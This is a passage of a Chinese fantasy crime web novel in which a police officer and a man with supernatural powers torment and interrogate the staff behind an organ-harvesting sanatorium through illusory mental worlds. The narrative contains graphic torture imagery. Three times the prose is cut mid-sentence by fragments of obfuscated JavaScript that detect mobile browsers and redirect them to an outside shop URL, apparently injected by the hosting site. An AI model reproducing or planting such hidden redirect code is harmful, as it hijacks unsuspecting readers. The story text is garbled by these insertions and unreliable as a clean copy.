“小何?”春渐满记得这个青年,他看起来很不好,脸色煞白,“我错了,我真的知道错了。” “我不是自愿的。”他跪在地上,不知道在拜什么东西,“不,不,我是自愿的,我是自愿的,但我没想到……不,不,我想到过,只是……” 他前言不搭后语地忏悔着,眼泪鼻涕一大把,看得春渐满后退了一步。 “对,我就是图这里工资高,我泯灭人性,我知道这里有非法勾当,我知道,我就是装作不知道,我觉得,我也没有参与,只要我不承认,我也没粘手过,我就只是个打工人,拿钱而已……” “我只是引路的工作人员,一个边缘工作人员,就算这里出事了,我也不会有事……” “别!别抽我女儿的血!别!抽我的,抽我的,我也是熊猫血,抽我的,别抽我女儿的!” “求求你,我错了,我真的知道错了,别抽我女儿的血,她还那么小,她什么都不知道,别动她,啊啊啊啊啊!我跟你拼了!” 春渐满看着小何朝迷雾里冲过去,猛地捶打地面,拳头都捶出森森白骨了,他也没停手。 “好好想想,怎么让他们认识到错误。” 独孤尽的话忽然出现在春渐满脑海里。 春渐满神色逐渐坚定,走到小何面前,掷地有声,“你的女儿小,别人的女儿又何其无辜,送到这里来治病,被抽血,被当成实验材料。” 小何的拳头停了,他仰面看向春渐满,嗤之以鼻,“那些小孩都是被家人抛弃的,是他们的家人不要他们,那是活该受劫。” “送来治病被你说成抛弃,难道你女儿生病了,不送医?”春渐满实在想不明白这些人怎么这么会诡辩,脑袋里究竟有多少歪理才能心安理得做这些黑心的事。 “那我也会一直守着她,不会让她一个人!都是他们,对都是他们不负责任,想要别人为自己的孩子负责,做梦!哈哈哈哈……看他们那个样子,我就痛快!” 春渐满无奈闭上眼。 独孤尽,病入膏肓的人,你让我一个凡人怎么治? 16. 精神世界 “在听吗?独孤尽,我想到了个办法。”春渐满往迷雾里走了几步,掩去自己的身形,站在迷雾中,他连自己都看不清。 独孤尽从沙发上翻身起来,径直朝春渐满所在的方向而去。 站在迷雾中的春渐满若隐若现,像水汽凝结而成的,摸不着的幻象。 “你说,我在听。”独孤尽站在离得不远的地方,却没在他面前显露身形。 春渐满听见声音从他耳后传来,转身却什么也没瞧见,“重新给他们安排一个身份,让他们只记得新身份,再让这个新身份证经历这些。” “你觉得换一种身份,他们能醒悟?”独孤尽轻轻摇头,他不这么认为,但既然是他小弟辛苦想出来的,试试也无妨。 “就按你说的。” “拿他来测试一下。”独孤尽轻而易举就隔空把小何提了过来,丢到春渐满面前。 独孤尽像是恶趣味来了,他重新开辟了一个精神世界,把春渐满和小何都放了进去,当然,他自己也在。 春渐满刚睁开眼就发现自己变成了一个小女孩,而他正被小何抱在怀里。 这一幕太惊悚,他一时间不知道在受惩罚的人究竟是谁。 独孤尽的声音在他耳边安抚,“别怕,我下手会很轻的,你也就样子惨点,不疼的。” 春渐满知道独孤尽一定是想了什么损招,可这个提议还是他自己提出的,实在没有中途退出这条选项。 “晓檬,不疼了,爸爸带你去看医生,看了医生身体就会好了。”小何抱着春渐满幻化成的小女孩,心疼地一下下拍着。 “……”春渐满不知道自己该说什么,他怕自己一开口是娇滴滴的女声,那他就真被独孤尽捉弄了。 索性,小何并没有发现破绽,在这个世界里,他潜意识里就认为春渐满是他的女儿,也不可能起疑心。 “爸爸带你去最好的医院,看最好的医生。”不得不说,小何爱自己孩子这点还是值得夸一夸的。 但他怎么也想不到,马上他就会悔得肠子都青了。 春渐满非常配合地被小何送进了医院,在被独孤尽扮演的医生一通检查下,被判了死刑。 “何先生,想要您的孩子活命,可能要倾尽所有,你确定吗?孩子没了还可以再生,你这钱花出去,孩子也不一定会活着。”独孤尽扮演起医生还挺像那么回事。 他穿着一身白大褂,神色非常严肃。 小女孩样的春渐满偷偷低着脑袋翻白眼,一上来就给他咒死了,还在那装好人。 “医生,求您一定要救救我的孩子,救救她,钱我会想办法的,先救她!”小何声泪俱下,生怕医生不肯救治。 “哎,既然你这么坚持,我会尽力。” 就这样,春渐满被安排住进了医院,准备手术的那段期间,小何确如他所说,基本上一天24小时都陪在女儿的病床边,丝毫看不出来他对待别人的孩子会是那么冷漠的恶魔。 “一切准备就绪,用出你的演技,小弟。”独孤尽在查房时提醒春渐满。 “我真后悔给了这种提议。”春渐满叹了口气,成天以女孩的形象生活,生活得他都留下无数黑历史了。 这么多天,他避免不了说话,那些声音都被独孤尽瞧去了,还有小何给他扎羊角辫时,他也看见独孤尽躲在病房门口乐。 他始终无法入戏,去好好扮演小何的女儿,但独孤尽给他加持的幻象太过真实,他有任何不像女孩的地方,幻象都会帮他自动弥补。 手术开始时,独孤尽挥散了其他幻化出来的医护人员,他拿了包瓜子分给春渐满,“这可是个大手术,我们睡一觉再出去。” “独孤尽,这种事以后我不做。”春渐满推开那包瓜子,他没心情嗑。 “不喜欢?”独孤尽倒是没在意被拒绝了,他自己拿着瓜子嗑得悠闲。 “我不想骗人。”春渐满那双鹰眸里纠结了无数种情绪,眉头也紧蹙着。 “诶,别说警察里没有便衣,骗人是你们的必学课吧。” “那是伪装,但也没有这样骗人的。”春渐满不知道怎么把两者的区别跟独孤尽讲清。 话到此处,独孤尽没再接话,他往病床上一躺,枕着自己一只胳膊,望着窗外,不知道在想什么。 “独孤尽?” “跟你说了要叫主人,名字只有熟了才能叫。” 春渐满不明白独孤尽怎么突然就生气了,叫了他名字这么多次,还是第一次被制止。 “这次事件解决之后,你就回去上班吧,不用来陪我住了。”独孤尽盯着窗外好一会儿,说完这句话后就闭上了眼睛。 “……”什么怪脾气,他被变成小女孩都没这样生气。 没人说话的时间是难熬的,尤其是当这个空间里有两个人,另一个还在生气时。 独孤尽像是已经习惯了这种氛围,他看起来悠然自得,不自在的只有春渐满。 “主人?”春渐满还是服软了,他试探着喊了一声。 但独孤尽还是没搭理他,呼吸平稳像是已经睡着了。 春渐满靠过去垫着脚尖探了探独孤尽的鼻息,肉乎乎的小手很快就被独孤尽逮着了。 “算了,你还是直接叫我名字吧。” 独孤尽再次睁开眼时,好像先前的事直接被掀过了,但春渐满知道,事情没过去,只是独孤尽不想再说。 “主人!”春渐满更加坚定地叫了一声。 “行了,服了你了,你现在这个样子叫我‘主人’,弄得我像有什么特殊癖好一样,怪吓人的。”独孤尽嫌弃之意溢于言表。 “早点睡吧,明天你还要演一出好戏给他。”独孤尽再次单方面结束了话题。 他其实从小就很羡慕其他孩子,虽然家境可能没有那么好,但有疼爱他们的父母,有吵闹与欢笑,是热热闹闹的。 可他除了不愁花钱外,其他什么也没有,父母常年不在家,一年也就见个一两回,家里除了他就只有管家了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688913|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 上学期间也没交到兴趣相投的朋友,有钱的那些人的玩法,他看不惯,没钱的,他去交朋友,别人也不喜欢跟他玩。 后来,他觉得自己一个人呆着也挺好的,反正他有钱,想怎么花怎么花,没朋友反而没拘束,也不会有人对他指指点点。 但自从父母离世,他突然继承了大额遗产,买了“怪奇诊所”这幅画后,与大家的距离就越来越远,现在他连自己真正的家都不回了,整天住在一幅画里。 就在他沉浸在孤独中,想让自己尽情享受孤独时,春渐满就意外闯入了他的世界,想到会有人跟自己一样,被这些东西困扰,被这些东西影响,他就兴奋得睡不着觉。 他不再是一个人了。 可现在,他有些难过。 这些终究是常人无法理解,也无法接受的世界。 他又为什么要让一个正常人接受他不正常的世界呢? “独孤尽?”春渐满能明显察觉到独孤尽低落的状态,如果他是只小狗,那现在肯定耳朵耷拉,尾巴也垂着。 “有什么要说出来,不说出来别人不会知道。” “之前不是挺伶牙俐齿的吗?” “闭嘴,春渐满别用你现在小孩的声音跟我说大道理。”独孤尽捂住耳朵,根本不想听这个叽叽喳喳的小孩声。 “……我是现在这个声音怪我吗?!”春渐满也不想再开解了,他没好气地捶了独孤尽一记,霸占了另一张病床。 次日清晨,等待了一夜的小何顶着两只充满红血丝的眼睛满怀希望看着手术室的灯熄灭。 “她现在还在危险期,只有渡过危险期才算手术成功。”独孤尽今天的状态比昨天还像医生,他更冷静克制了。 “谢谢!谢谢医生!”小何千恩万谢,看着女儿被推进无菌室。 但三天后,多次因为手术排异抢救无果的春渐满终于被独孤尽抽离了那具幻化出来的身体。 春渐满实在演不出什么痛苦的表情,始终闭着一双眼睛,他不想见到小何满是焦急与担心的样子。 “你的演技是我见过最差的。”独孤尽很快就给春渐满打出了评分,“一点都没勾起他的愧疚。” “罢了,之后有办法让他愧疚、愤怒。” 悲痛之中的小何得到恶讯后,在家人的帮衬下,办了葬礼,却被遗体化妆师告知女儿的状态不太对劲,像是内脏被掏空了。 在妻子一再坚持下,小何强忍着悲痛,同意了尸检,结果是,他的女儿很健康,根本没有疾病,但身体里的器官全都消失不见了。 就在小何拿着刀冲进医院,要活剐了独孤尽时,独孤尽在他面前变成了他自己的样子,道貌岸然笑着对他说,“只要我的孩子没事,我管别人的孩子怎么样。” “你又怎知,下一个出事的不会是你自己的孩子?”独孤尽留下最后一句话。 精神世界解除。 小何跌坐在地上,满脸懊悔,眼泪鼻涕糊了一身,心痛得无法呼吸。 17. 尸山血海 “你们把我女儿怎么了?你们可以报复我,但你们针对我女儿,做这种事和我有什么区别?!”小何缓了好一会儿才从悲愤交加的情绪里脱离。 “哦,现在知道自己在作恶了?”独孤尽眯眸居高临下看着瘫在地上如一滩烂泥的人。 “是,我承认了,我就是助纣为虐。”小何想到自己女儿被人挖空身体就恨不得把所有人都杀了。 可他最恨的是自己,没有保护好自己的孩子。 “不要受害者有罪论,伤害他们的人才是罪魁祸首,你再想保护,又能怎么保护,永远把孩子绑在身上,不让他们一个人出去?生病了也不看病?”独孤尽似是能看透人的心思,他摇了摇手指,从小何身边走过,拉上春渐满。 “走吗?去看看汤行正交代了多少。”独孤尽兴致缺缺。 “放过他了?” “他不是主谋,只是一枚推动齿轮的小螺丝,已经让他在精神世界里感受过丧女之痛了,够了。”独孤尽像是想到了什么,唇角勉强勾了一下,“春警官,别被我带坏了啊,这个时候不该跟我说,剩下的,法律会给他应有的惩罚吗?” “……你这是生完气了?”春渐满还记得之前独孤尽气得理都不想理他,现在都有心思开玩笑了。 “我生没生气你这么在意?”独孤尽扭头看向春渐满,似是而非地笑着。 “……”春渐满一时间不知道怎么接话,他无奈地抽回自己的手,狠狠拍了独孤尽肩膀一记。 独孤尽闷声笑起来,他挠挠脑袋,“只是想通了一些庸人自扰的东西。” “不过,先前我说的是真的,这个事件结束,你就回去工作吧,人民警察不该跟着我混。”独孤尽说罢还冲春渐满吊儿郎当吹了声口哨。 “独孤尽,你可没混。”春渐满不喜欢独孤尽故作放浪形骸的样子,他明明不是这样的人,为什么非要伪装成这样。 “你怎么知道我混不混?小弟,你就跟了我这么几天,我们俩一共也就共事了这么两个案子,你有多了解我啊?”独孤尽说着说着话语就变得尖锐起来,他食指放在手心做了个“停”的手势。 “嘘……到了。” 汤行正此刻正陷入精神世界,痛苦地在地上扭动。 独孤尽只是轻轻拽了春渐满一下,就将他一同拖了进去。 这回春渐满没有特殊身份,还和之前一样像个小挂件似的坐在独孤尽肩上。 “看吧,这片尸山血海,全是汤行正造的孽。”独孤尽站在虚空中,风裹挟着血腥味直冲过来,独孤尽抬臂挡了一下,尽量不让这些煞气伤到春渐满。 “这里的……全是吗?”春渐满不敢置信地看着底下无法落脚的血海深渊。 “是,全是他的孽。” 数不清有多少双手从血海中伸出,缠住那个人影,一点点将他撕碎,骨肉分离,汤行正连尖叫都来不及,就被粉碎,过不了一秒,又重新凝聚,接上还未发散出来的恐惧,继续下一次被撕碎。 “这样多久了?”独孤尽问合窳和猲狙。 两只神兽磨磨牙齿,忍住不断吞咽的口水,好半天才张开嘴,“有半天时间了,主人……那个……可以吃了吗?” 说完两只神兽的口水就止不住往下流了,独孤尽嫌弃地往后退了一大步,他摆摆手,“看来之前的教训你们还没受够,现在还想吃人?” 合窳和猲狙都是会吃人的猛兽,尤其是原形示人的时候,嘴张的巨大,真要吃,十个汤行正都不够他们塞牙缝的。 “啊?主人让我们出来不会是对我们进行考验吧?”合窳顿时回忆起了曾经的痛苦,恨不得现在就回去,这里的幻象他也不想维持了。 “能吃,但不能真吃,懂吗?”独孤尽有些不放心地又叮嘱一句。 他还真有点怕自己的神兽把人给吃了,虽然他良心上不会痛,但春渐满肯定受不了。 “懂懂懂,谢谢主人!”猲狙比合窳先领悟,他跃跃欲试,几步就踏进了那血海之中,捞起汤行正就往嘴里塞。 囫囵个吞下去却没尝出什么味道,又把他给吐了出来,重新吃一遍。 “诶,别跟我抢,几千年没吃过味儿了,快让我也尝尝!”合窳赶忙冲下去,跟猲狙争抢一番。 独孤尽已然丧失了兴致,他不知道从哪掏出一副耳机,戴在脑袋上,不理底下的惨状,也不理春渐满。 春渐满坐在他肩上能听到耳机里泻出来的音乐,那是极其轻缓的钢琴曲,能抚平人躁动的心绪。 独孤尽听着听着,竟睡了过去,春渐满过了好一会儿才发现,他即便睡着了也和没睡着时一样,是轻而浅的呼吸。 “喂!我们要叫醒主人吗?都吃腻味了。”合窳打了个饱嗝儿。 “你知道叫醒主人有什么后果吧?没忘吧?说不定又是主人的考验。”猲狙吃一堑长一智,他可不想再冒险。 “那这个玩意儿怎么办?又不能放任他被煞吞了。”合窳踢了踢已经沾满口水和血水,宛如一滩肉泥的汤行正。 根本没睡的春渐满听到他们的议论,视线顺着落在那团东西上时,差点吐出来。 “你们把他怎么了?” 不用两只神兽出手,春渐满就一声惊呼把独孤尽吵醒了。 他蹙着眉极其不情愿地摘掉耳机,薄如蝉翼的眼皮颤动两下,总算睁开。 合窳和猲狙见状,很有眼色地遮住了那团东西。 “小弟,你们在吵什么?” “吵你什么时候醒。”春渐满无语地看着试图掩盖的两只神兽,“他俩吃人都吃腻了。” “这也能挑食?”独孤尽瞥了神兽一眼,合窳和猲狙立马摇头,“没没没,主人,我们可没挑食,这么美味的食物,主人给我们的奖励,我们怎么可能挑食。” “你们的人语什么时候学得这么好了?”春渐满记得这两只之前考试一直不过关,本来没有特殊情况的话,独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688914|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤尽是不该把他们带出来的。 “是春老师您教的好,教的好。”两只齐齐附和,疯狂拍马屁。 他们不好好考试主要是因为他们不想出来,毕竟,别的不爱人肉的出来能玩得很好,可他们之前可是一而再,再而三被主人用这招试探过的,根本不想出来遭罪。 独孤尽推开试图挡着什么的两只,嫌弃地隔空提起那一团糟的灵魂,丢出精神世界。 汤行正躺在地上只有喘气的份,他的脑海里不断回放着自己肢解谁,谁就肢解自己的画面,每个人都没放过他。 有种陷入死循环的痛苦,可这份痛苦被独孤尽打断了,“能招供了吗?汤行正。” 汤行正自诩是高精尖人士,可现在的他,哪有半点专业的迹象,他看着独孤尽就像看到了救星一样,两眼放光,之前的那些狠话全都被他咬碎吞入腹中,“救,救我,让我死,让我死吧,让我死。” “诶……死是很难的事,你得把你的罪行都认清了,让大家都报了仇,爽了,才能死。”独孤尽蹲在他面前,故意摇摇手指,在他充满蛊惑的描述下,死亡是必须经历了足够的痛苦,洗刷了罪行才能获得的救赎。 “那,那,大家都报仇了,报过了,他们爽了吗?我,我什么时候才能死?”汤行正不断冲着独孤尽磕头。 “你能让他们失去的回来吗?”独孤尽隔空扯住他的耳朵,“就像,我这样把你耳朵扯掉,你觉得它还能长回去吗?” “哦对,你能缝合,但如果我让它被老鼠吃掉呢?” “啊啊啊啊啊——杀了我吧,杀了我吧,求求了!” “杀了你又有什么用呢,来吧,把你的每一条罪行都写下来,说不定会有机会死。”独孤尽拿了一本特别厚的空白本子,又看向春渐满,“到你了,警察同志,审讯。” “哦,这样是不是不符合规定。”独孤尽突然想起那些繁复的条条框框。 “特事特办。”春渐满只是怕如果让汤行正自行供述,这样会不会酌情给他算成提供重大线索,又有自首情节。 像是看出了春渐满的顾虑,独孤尽嘴角挂起恶劣的笑,“死不了才是让他最痛苦的。” 春渐满看着还在磕头,脑袋上磕得鲜血淋漓的衣冠禽兽,点了点头,“把你是如何到的‘远星疗养院’,何人介绍,你所犯罪行,以及这些器官都给了谁,全都写清楚。” “事无巨细,不然洗不清罪行你就没法死了哦。”独孤尽从旁下了一记猛药。 “你这属于恐吓,到时候供词要不做数的。”春渐满瞪了独孤尽一眼。 “哎哎哎,冤枉啊,我是好心提醒他,怎么就是恐吓了。”独孤尽双手上举投降。 “你说,他要是真供述了什么大人物,我们办还是不办?”独孤尽目光幽深看向远方。 “先看看他能供出点什么吧。”春渐满也无法给独孤尽确切的回答。 “也罢,是我又庸人自扰了。” 18. 被火燎了 且不论汤行正是不是真心悔改,起码他能条理清晰把自己进入远星疗养院的经过,包括在远星疗养院做过多少起手术都写得清清楚楚。 只不过,那个藏在远星疗养院背后的大人物并没有那么容易显露身形。 春渐满握着那份厚厚的供词,快写了足足一本了,这里面被取了器官的,有多少还活着,有多少因此离世,却不得而知。 “所以,被取完器官,你们就把人放回去了,美名其曰,病治好了?”春渐满即便只是读着供词都觉得,这些话从自己嘴里说出来太恶心了。 “对,没有价值的人,我们不会留在院里,除了那些额外给高住院费用的。”汤行正神情恍惚地点点头,他现在哪怕是点头,都觉得脑袋被人切成了两半,脑浆摇出来,淌在地上被狠狠碾轧践踏,幻疼得厉害。 “多高?”春渐满又翻了翻汤行正的供词,里面根本没提到这块。 他给了独孤尽一个眼神,独孤尽无奈地扶额,果然,比起主人,他更像个打工牛马。 独孤尽上前几步,一脚踩在汤行正背上,踹得他趴在地上,又隔空揪着他的耳朵将他拎起,“看来你还是不明白罪行是什么。” “不,不,杀了我,杀了我,我已经知道我罪无可恕,杀了我!”汤行正像是应激反应,明明只是被踢了一脚,却仿佛浑身都被撕裂,他痛苦地抱着脑袋,一阵头晕目眩后,他吐了出来。 春渐满沉默着后退了数十米,独孤尽也随后退了老远。 两人面面相觑,打破沉默的还是春渐满,“你干了什么?” “我除了踹了他一脚,拎了拎他的耳朵,别的什么也没干。”独孤尽无辜地摆摆手,“真什么也没干,我要干什么需要背着你吗?” 春渐满狐疑地看了他几眼,“那他吐成那样,你清理一下。” “……”独孤尽屈指敲了敲春渐满的脑袋,“你是小弟,还是我是小弟?” “我记得,某人可是让我这个事件结束就回去上班。” “某人可是不认我这个小弟了。” “是不是?某人还叫我警察同志。” 春渐满说一句就逼近独孤尽一步,直到两人身影都淹没在迷雾中,才停住。 独孤尽单手扣住春渐满的手腕,将他扯离迷雾,“别靠这雾太近,对身体不好。” “准确来说,降智。” “真降智?怪不得汤行正变成那副德行,连高额收取病人的钱财都不觉得是犯罪了。” 独孤尽又无奈扶额,“不要什么都赖在我身上,这迷雾虽然会降智,但不足以让他觉得受贿是理所应当。” “他就单纯是个人渣而已。”独孤尽直接给汤行正定了性。 “人渣都算表扬他。”春渐满最终还是强忍着难闻的气味朝汤行正走了过去。 “把你收了哪些家属,多少钱,全写出来。” “那些都是他们自愿给远星疗养院的,属于赞助。”汤行正一阵被电击了一样的颤抖后,直接失禁了。 “……没听明白吗?”春渐满愣了愣,连跳几步,又退开了老远。 “写了就能让我死了吗?”汤行正这会儿神情好似清明了些,“让我死吧,这样太难堪了。” “你写得越多,如愿的概率越大。”春渐满并不能代表法律直接给汤行正一个保证。 虽然他觉得这样的人死不足惜,但独孤尽有句话说得很准确,这种人,死了才是便宜了他。 汤行正拿到的是新本子,可回收时,春渐满却并不想赤手去拿,那些供词虽然珍贵,但还是有点膈应汤行正又吐又尿。 “行了,知道,给你取过来。”独孤尽任命地隔空拿过新的供词,利用风,给春渐满一页一页翻过去。 “怎么说,我也当了这么多年的少爷,现在是怎么回事,变成我服侍别人了?”独孤尽轻声嘟囔,“风水轮流转啊。” “听过吗?能量守恒,你这就叫能量守恒。”春渐满显然是听到了独孤尽的碎碎念。 “看你的吧。”独孤尽没好气故意把纸张翻得沙沙作响。 “小心点,别翻破了,这很重要。”春渐满来不及看,扭头拍了独孤尽抬起的手臂一记。 “那你倒是自己拿着啊,春渐满少爷。”独孤尽阴阳怪气。 “等等,你看这里。”春渐满突然放轻声音,他向前走了几步,直接把供词拿在了手中。 “你还真拿。” “别贫了,这里,汤行正写了,远星疗养院收到的赞助有百分之五十都会给……”春渐满竟不敢把名字念出来。 这个名字,他们太熟悉了,经常出现在新闻里,还都是正面的新闻。 “现在怎么办?春警官,要上报吗?”独孤尽也不管那供词脏不脏了,拿过来仔仔细细又看了几眼。 “往哪报?”春渐满难得有一瞬迷茫,“谁会受理?” “谁敢受理?” “可远星镇已经被我弄成这样了,没法收场了。”独孤尽觉得每个字都烫嘴。 只是起了这么一丁点儿的迟疑,独孤尽眼前就一阵火烧火燎,猩红血液混杂着焦臭味,滚滚浓烟呛得他眼泪都出来了。 “独孤尽……独孤尽……” “主人?!” “独孤尽!” 春渐满扶着摇摇欲坠晃着身形的某人。 长那么高干什么! 几息后,独孤尽睁开眼,眼里已经只剩坚定与决绝。 像是哪怕与整个世界背离,一人独行,也必须去做。 “不行,得办。” “你刚刚怎么了?”春渐满满眼忧色,任谁,活生生一个人突然像被抽了魂一样在自己面前瘫倒下去,都会惊惧。 “我被火燎了。”独孤尽没说实情,他刚才被画给警告了,就因为他心生犹豫,让他亲自承受了一次火烧之痛。 那种窒息感,那种绝望,独孤尽不想再来一次。 “燎哪了,烫着眉毛了?还是尾巴?”春渐满以为独孤尽在跟他开玩笑,有些恼火,都什么时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688915|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候了。 “不能放跑他,等今天,所有证词收集好,‘怪奇诊所’就要转移位置了。”独孤尽没接春渐满的怒火,他现在很头疼要怎么定位那位。 “你知道怎么查到他的行踪吗?”这种国家机密,独孤尽也无法获悉。 “独孤尽,即便能查,这些供词也只能指认他受贿,这些谋害人性命的事,很难……”这件事太棘手,春渐满不觉得“怪奇诊所”能让那位心甘情愿伏罪。 这种大人物都有着极其强大的心理素质,否则也不能坐上那样的位置。 “如果没有他撑场,远星疗养院根本办不起来,那些器官买卖的路子,一定跟他脱不了干系,抽丝剥茧,总会找到联系。” 独孤尽异常坚定,没有一丝一毫动摇,说得春渐满都有信心了。 “好,你调派一些神兽给我,帮我一起看供词。”春渐满记得有几个神兽颇有侦查天赋,对人情世故也通透。 “你不把供词带回局里?”独孤尽不是很想把自己的神兽借出去,毕竟神兽出了什么乱子,受苦的可是他。 “带回去交给谁,谁敢接?”春渐满嘴角抽了抽,独孤尽是真把他们那座小庙当成神寺啊。 “你不是就敢接?”独孤尽仍旧不想借出神兽,“我记得第一次见到你时,你的同事在外面一直忠心耿耿在等你。” “我那队人马倒确实可用,但他们有很多都拖家带口,不适合卷进来。”春渐满虽然知道选择了这个职业,大家都是做足了心理准备的。 那可是宣了誓的,为了保护国家和人民,牺牲小我成就大家。 每个人都把生死豁出去了。 但正是如此,他作为春队的队长,更要重视队员的安全,每个人都是独一无二的,每一条生命都是鲜活的。 “主人,你就给我几个神兽吧。”春渐满故意放软了声音,那双鹰眸都收敛了野性。 “……有事主人,无事独孤尽是吧。”独孤尽拍拍手,把几个得力干将从画里拖出来丢给春渐满,“去吧,去帮帮你们这位这么大人了还撒娇的春老师。” 独孤尽是故意的,他的声音很响亮,不仅能让春渐满听得一清二楚,还能让每只神兽听得一清二楚,春渐满这算是丢人丢到家了。 “独孤尽你!”春渐满这会儿眼里哪还有什么柔情,全是火气。 “好好工作,暂时别来打扰我了,我要好好谋划一下。”独孤尽说完直接消失,他急需回家补充能量。 把“怪奇诊所”的范围布置得这么大,消耗了他太多。 一回到家,他就把自己泡进了温泉里,那些深入骨髓的痛楚,丝丝缕缕的,从毛孔里泻出,被温泉净化。 “大人物,大人物……” “大人物又怎样,没了拥趸,不照样是肉身凡胎。” 独孤尽拨弄一池已经变得漆黑的泉水,纤长的睫毛被热气打湿,那双桃花眼里的淡漠快渗透出来了。 “我会打造专属于他的炼狱,将他的灵魂烧得一点不剩。” 19. 打蛇出洞 远星疗养院在独孤尽的控制下,成了真正的疗养院,这里不缺做饭好吃的厨师,也不缺精良的食材,只不过先前这些都是供给工作人员的,压根不是给他们囚禁的这些病人食用的。 “诗晴,我们暂住在这里真的没事吗?虽然确实自由了,但我还是好想回家啊。”女孩挽着祝诗晴的胳膊晃来晃去,“这里真的太吓人了,我晚上睡不着觉的。” “你昨晚睡着了吧。”祝诗晴用的不是疑问句,毕竟昨晚她们是几个人睡一块儿的,就属她睡得最香,都打呼噜了。 有耳鼠治愈能力的加持,想睡不着都难。 祝诗晴朝远处看了一眼,耳鼠和它的同伴还在兢兢业业监督着这里的工作人员。 “昨晚也不知道怎么回事,就昏睡过去了,我们不会又中了什么招吧?”一朝被蛇咬,十年怕井绳,要让女孩短时间内相信什么,怕是很难了。 “放心,我们不会再有事了。”祝诗晴一边安抚着女孩,一边把手里的花束扎好,“我晚点回来,你们先吃。” 她撒欢一样朝某处跑过去,猛地抱住那团毛茸茸。 “锵锵——送给你。” “你自己配的花吗,好好看。”耳鼠欣喜地凑上去嗅嗅,那是一束极其了多种颜色的缤纷花束。 祝诗晴弯着眉眼用力点头,“我要把我看到的最美的送给你。” “都送给你。” “其实你不用这么感谢我,我也只是在按主人的吩咐做事,真的要谢应该谢他。”耳鼠颇感羞愧,她不好意思地弹了弹耳朵。 “但是你让我们能睡好觉,帮我们把负面情绪关进了盒子里。我们能够看到这个世界的另一面,多彩的,美好的一面,这些都是因为你呀。”祝诗晴由衷地诉说着。 有的时候,一个人真的很难对抗这些负面情绪,医生会给她们开药,但是药物只能让思维变得迟钝,有的时候,失忆了,什么都不记得,才会平静。 可平静无波的世界,是灰色的,那种没有色彩的感觉,太糟糕了。 “走吧,请你吃好吃的,我拿厨房里的食材做了些小点心。”祝诗晴眼睛闪亮亮,期待耳鼠能尝尝,那是她的新开始,充满了希望。 耳鼠看了看自己的原形,点了点头,用了点术法变得和祝诗晴年龄相仿。 祝诗晴还是第一次见到耳鼠变成人形,她绕着耳鼠转了一圈,忍不住伸手想摸摸她的耳朵,看看是不是真的,就被耳鼠躲了一下,“别,别碰我耳朵。” “我怕维持不住人形。”她耳尖通红地解释一句。 “哦哦,这个是变回原形的开关,我不碰,不碰,但是真的好可爱啊。”祝诗晴又捧起耳鼠的手,一个手指一个手指点过去,发现都是热乎乎的,有温度的,和人类的手没有区别后,她也有点不好意思了。 “对不起,我这样太失礼了。” “没事,你想碰哪里都可以,只要别摸我耳朵就好。”耳鼠倒是不介意,她大大方方牵上祝诗晴的手,“你看,我是不是变得很好,跟人类没差别。” “真的和人类一样,要是我们也会变身就好了,我也想变成耳鼠。”祝诗晴幻想了一下,如果自己是耳鼠,那她也要在天上飞。 那种自由自在的感觉,感受过一次就不会忘了。 这边是一派由暗转明的祥和欢闹,但某些地方可就不怎么明媚了。 此时此刻,独孤尽正单枪匹马入了那位大人物的梦。 同样是尸山血海的鲜红画面,那位竟然一点儿都不害怕,在自己的地盘,独孤尽能够充分感知到对方的情绪。 他无所畏惧地矗立在原地,既不往血海而去,也不去看那成堆的尸体。 如果空耗着,不仅费时还没效果,独孤尽当机立断捉取了他的记忆,把他的妻儿,以及,散布各地的情妇和私生子都挖了一遍。 终于找到了一位他看起来最在意的,应该是想培养他做接班人。 独孤尽拟了这位接班人,将他折断丢进了火海,在这位大人物面前活活烧成灰烬。 老者只是嗤笑了一声,眼眸一闭,“你是谁派来的,入我梦境。” 独孤尽没想到自己这么快就被识破了,但他不愿出声,怕被发现一丝一毫线索。 “我不清楚你怎么躲开的护身符,但你逃不了,只要你入了梦,就会留下灵魂印记,不用多久,我就会知道你是谁了。”老者腰板挺得笔直,压迫感直逼而来。 独孤尽没想到在自己控制的梦境中,对方也能有这等能力,显然,这个世界上并非只有他一人有特殊能力,对方那边有高人相助。 但据他所知,助纣为虐是不可能有好结果的,那边在图什么? 难不成真如汤行正所说,就图些钱和权势? 有这种能力的人,还需要图这些吗? 应该是有他不知道的缘由。 索性独孤尽是高速冲浪的年轻人,既然这种画面没法吓到这个老头,那他就来点其他原素,人总有弱点,恐高、恐黑、幽闭恐惧、尖锐恐惧、深海恐惧……总有他害怕的。 卫天盛毕竟年事已高,面上虽不惧,但高空坠落,底下还全是刀尖,仍免不了心悸。 可一瞬的心慌过后,他就控制住了自己的情绪。 